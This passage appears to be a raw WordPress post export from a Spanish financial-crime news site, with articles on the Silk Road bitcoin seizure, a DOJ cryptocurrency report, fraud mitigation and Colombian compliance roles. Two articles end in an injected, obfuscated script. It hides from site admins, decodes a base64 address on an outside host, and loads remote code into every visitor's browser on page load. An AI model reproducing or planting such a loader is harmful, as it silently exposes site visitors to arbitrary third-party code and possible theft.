width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las 